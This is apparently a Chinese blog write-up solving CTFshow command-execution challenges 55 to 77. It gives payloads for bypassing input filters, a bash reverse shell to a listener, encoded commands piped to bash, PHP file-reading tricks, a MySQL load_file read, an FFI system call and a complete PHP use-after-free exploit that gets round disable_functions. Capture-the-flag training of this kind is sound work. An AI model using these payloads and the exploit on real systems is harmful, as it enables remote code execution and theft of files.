首页 > 其他分享 >CTFshow刷题日记-WEB-命令执行下55-77

CTFshow刷题日记-WEB-命令执行下55-77

时间:2022-11-21 11:35:31浏览次数:52  
标签:WEB addr 55 leak echo 77 flag base php


web55

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}

不能出现英文字符

方法1

?c=/???/????64 ????????
但是这个不是通用的,base64不是每个机器都用

CTFshow刷题日记-WEB-命令执行下55-77_rce

方法2

bzip2的使用
bzip2是linux下面的压缩文件的命令
我们可以通过该命令压缩flag.php 然后进行下载
payload:?c=/???/???/???2 ???.???
也就是/usr/bin/bzip2 flag.php
然后访问/flag.php.bz2进行下载获得flag.php

方法3

发现 . 没有被过滤,.(点)的用法,就是相当于source可以执行命令

可以通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php???一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)
注意:通过.去执行sh命令不需要有执行权限

需要构造一个post上传文件的数据包。

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title> </head> <body> <form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data"> <!--链接是当前打开的题目链接--> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>

然后抓包如图

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OYz5U49N-1630725103224)(F:_笔记\mdpic\3.CTFshow刷题日记-WEB-命令执行\watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ2MDkxNDY0,size_16,color_FFFFFF,t_70%23pic_center.png)]

构造poc执行命令
?c=.+/???/???[@-[]
注:后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母。

CTFshow刷题日记-WEB-命令执行下55-77_php_02

然后在上传文件内容添加sh命令

#!/bin/sh ls

直接读flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iwCQLsgj-1630725103229)(F:_笔记\mdpic\3.CTFshow刷题日记-WEB-命令执行\watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ2MDkxNDY0,size_16,color_FFFFFF,t_70%23pic_center.png)]

总结
这道题主要是利用 上传文件到临时命令去通过.(点)去执行该上传文件的内容

web56

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}

无字母数字rce,使用上题的第三种方法即可

CTFshow刷题日记-WEB-命令执行下55-77_rce_03

需要多刷新几次

web57

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}

先上payload

?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
  • ${_} 上次命令执行的结果
  • $(()) 进行运算
  • (("")) == 0

对((“”))=0,对((“”))取反即(( ((“”))))为-1,37个-1相减得到-37,再取反得到36

其他linux shell绕过

  • base64
echo "Y2F0IGZsYWcucGhw"|base64 -d|bash
  • Hex绕过
echo "63617420666C61672E706870" | xxd -r -p|bash
$(printf "\x63\x61\x74\x20\x66\x6c\x61\x67")
  • 拼接
b=ag;a=fl;cat $a$b
  • 内联执行
cat `ls`
  • 反弹shell
靶机:bash -i >& /dev/tcp/主机的ip/8888 0>&1
有公网ip的主机:nc -lvnp 8888 //监听8888端口

类型四:

PHP代码执行,突破禁用函数,绕过disable_functions

web58

if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

使用system发现被禁止了

CTFshow刷题日记-WEB-命令执行下55-77_php_04

执行命令的函数

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()

不行就直接读取文件,首先获取文件路径

函数名

功能

scandir()

扫目录用的,返回数组

getcwd()

返回当前目录

glob()

包含匹配指定模式的文件名或目录的数组

dir()

返回 Directory 类的实例

opendir

打开目录句柄

c=print_r(scandir(dirname('__FILE__')));

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };

c=$a=dir(getcwd());while ($file = $a->read()){echo $file . "<br>"; };

php读文件的函数有

readfile()      读取文件
fpassthru() 读取文件
highlight_file() 读文件
show_source() 同上
base64_decode() base64解码
strrev() 反转字符串

echo file_get_contents("flag.php");
print_r(file('flag.php'));
var_dump(file('flag.php'));
var_dump(glob("*flag*"));

通过fopen读取文件内容

通过fopen去读取文件内容,这里介绍下函数
fread()
fread($file,100) 读取打开的文件,读取100个字节
fgets() 读取一行
fgetc() 读取一个字符
fgetss()
fgetcsv() 读取一行
gpassthru()
payload:
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}//一行一行读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}//一个一个字符读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}

payload

CTFshow刷题日记-WEB-命令执行下55-77_ctf_05

web59

index.php都是一样的

payload

c=highlight_file("flag.php");
c=var_dump(file("flag.php"));
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");
c=$a=fopen("flag.php","r");echo fpassthru($a);

web60

payload

post:c=highlight_file("flag.php");
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}

注意:

$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;} //php7.3版本后 该函数已不再被使用

曲线救国方法

//通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)
copy()
rename()
//用法:
copy("flag.php","flag.txt"); //过60
rename("flag.php","flag.txt"); //过60

web61-65

payload

c=highlight_file("flag.php");
c=show_source("flag.php");

web66

首先获取文件路径

c=print_r(scandir(dirname('/')));
c=var_dump(scandir("/"));
发现flag.txt

payload

c=include('/flag.txt');

web67

print_r被ban了

c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };

c=include('/flag.txt');

web68-70

扫目录

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };
...

读文件

c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');

web71

CTFshow刷题日记-WEB-命令执行下55-77_ctf_06

下载附件

index.php
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

?>

你要上天吗?


// 意思就是:执行之后返回输出缓冲区的内容,然后清空输出缓冲区,过滤[0-9][a-z]再输出
ob_get_contents — 返回输出缓冲区的内容
ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲

此函数丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。如果想要进一步处理缓冲区的内容,必须在ob_end_clean()之前调用ob_get_contents(),因为当调用ob_end_clean()时缓冲区内容将被丢弃

payload

c=include("/flag.txt");exit(0);
通过exit();使程序提前退出,绕过后面的正则表达式

web72

hint

c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
} exit(0);
?>
//通过这个发现flag在flag0.txt
//之后利用uaf的脚本进行命令执行

这里的?>是为了闭合前面<?php

如:

<?php
$a = '?><?php echo 111;?>';
eval($a);

执行效果

CTFshow刷题日记-WEB-命令执行下55-77_linux_07

再使用uaf脚本进行命令执行

c=function ctfshow($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦

CTFshow刷题日记-WEB-命令执行下55-77_读取文件_08

web73-74

首先去找flag所在位置

payload

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);

c=include("/flagc.txt");
c=require("/flagc.txt");exit(0);
c=require_once("/flagc.txt");exit(0);

web75-76

第一步扫描目录

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);

利用mysql load_file读文件

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web77

第一遍扫描目录

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);

然后发现下面有一个readflag肯定是要调用这个,不会做,看了这个FFI拓展挺神奇的,说谁php7.4版本以上才有,大家想了解可以看看下面的参考链接

c=$ffi=FFI::cdef("int system(char *command);", "libc.so.6");$a='/readflag > 1.txt';$ffi->system($a);exit();

标签:WEB,addr,55,leak,echo,77,flag,base,php
From: https://blog.51cto.com/u_15878568/5873177

相关文章